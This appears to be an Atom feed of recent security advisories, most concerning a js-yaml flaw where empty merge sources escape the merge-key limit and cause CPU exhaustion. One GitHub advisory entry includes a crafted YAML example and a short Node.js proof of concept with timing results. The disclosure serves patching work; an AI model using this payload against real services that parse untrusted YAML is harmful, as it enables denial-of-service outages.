<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T21:10:30.652760+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/certfr-2026-avi-1233</id>
    <title>certfr-2026-avi-1233 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
    <updated>2026-09-29T21:10:32.827833+00:00</updated>
    <content>certfr-2026-avi-1233</content>
    <link href="https://vulnerability.circl.lu/vuln/certfr-2026-avi-1233"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cleanstart-2026-ke27596</id>
    <title>CLEANSTART-2026-KE27596 — js-yaml is a JavaScript YAML parser and dumper</title>
    <updated>2026-09-29T21:10:32.828053+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> CleanStart: argo-workflows, CleanStart: qdrant</p>
<p>CVE-2026-84375 affects multiple packages. js-yaml is a JavaScript YAML parser and dumper. See references for individual vulnerability details.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cleanstart-2026-ke27596"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-84375</id>
    <title>fkie_cve-2026-84375</title>
    <updated>2026-09-29T21:10:32.828166+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2, 4.3.2, and 5.4.1, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key &lt;&lt;. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. In v3 &amp; v4, merge is enabled by default so the severity score is higher. This issue is fixed in versions 3.15.2, 4.3.2, and 5.4.1.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-84375"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-2883-xcg3-v3hh</id>
    <title>GHSA-2883-xcg3-v3hh — js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources</title>
    <updated>2026-09-29T21:10:32.828243+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: js-yaml</p>
<p>## Summary</p>
<p>`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.</p>
<p>## Example</p>
<p>```yaml
arr: &amp;arr [{}, {}, {}, ...] # N empty mappings
targets:
  - &lt;&lt;: *arr                # repeated K times
```</p>
<p>For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.</p>
<p>## PoC</p>
<p>```js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'</p>
<p>const n = 20000</p>
<p>const src =
  'arr: &amp;arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - &lt;&lt;: *arr\n'.repeat(n)</p>
<p>const started = performance.now()</p>
<p>load(src, { schema: YAML11_SCHEMA })</p>
<p>console.log(`${(performance.now() - started).toFixed(1)} ms`)
```</p>
<p>Observed results:</p>
<p>| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |</p>
<p>## Impact</p>
<p>An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.</p>
<p>## Fix</p>
<p>Count each merge-source mapping as one budget unit, in addition to counting its keys.</p>
<p>## Difference with v5</p>
<p>In v3 &amp; v4, merge is enabled by default. So, the severity score is higher.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-2883-xcg3-v3hh"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/oesa-2026-4060</id>
    <title>OESA-2026-4060 — nodejs-js-yaml security update</title>
    <updated>2026-09-29T21:10:32.828337+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> openEuler:24.03-LTS-SP4: nodejs-js-yaml, openEuler:20.03-LTS-SP4: nodejs-js-yaml, openEuler:22.03-LTS-SP4: nodejs-js-yaml, openEuler:24.03-LTS-SP1: nodejs-js-yaml, openEuler:24.03-LTS-SP3: nodejs-js-yaml</p>
<p>This is an implementation of YAML (YAML Ain&amp;amp;apos;t Markup Language), a human friendly data serialization language. It started as PyYAML port, and was completely rewritten from scratch.  Now it&amp;amp;apos;s very fast, and supports the 1.2 spec.

Security Fix(es):</p>
<p>js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2 and 4.3.2, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key &amp;lt;&amp;lt;. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. This issue is fixed in versions 3.15.2 and 4.3.2.(CVE-2026-84375)</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/oesa-2026-4060"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/rhsa-2026:62810</id>
    <title>RHSA-2026:62810 — Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update</title>
    <updated>2026-09-29T21:10:32.828405+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>js-yaml: js-yaml: Denial of Service vulnerability in YAML parsing</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/rhsa-2026:62810"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-84375</id>
    <title>UBUNTU-CVE-2026-84375</title>
    <updated>2026-09-29T21:10:32.828443+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml</p>
<p>js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2 and 4.3.2, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key &lt;&lt;. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. This issue is fixed in versions 3.15.2 and 4.3.2.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ubuntu-cve-2026-84375"/>
  </entry>
</feed>
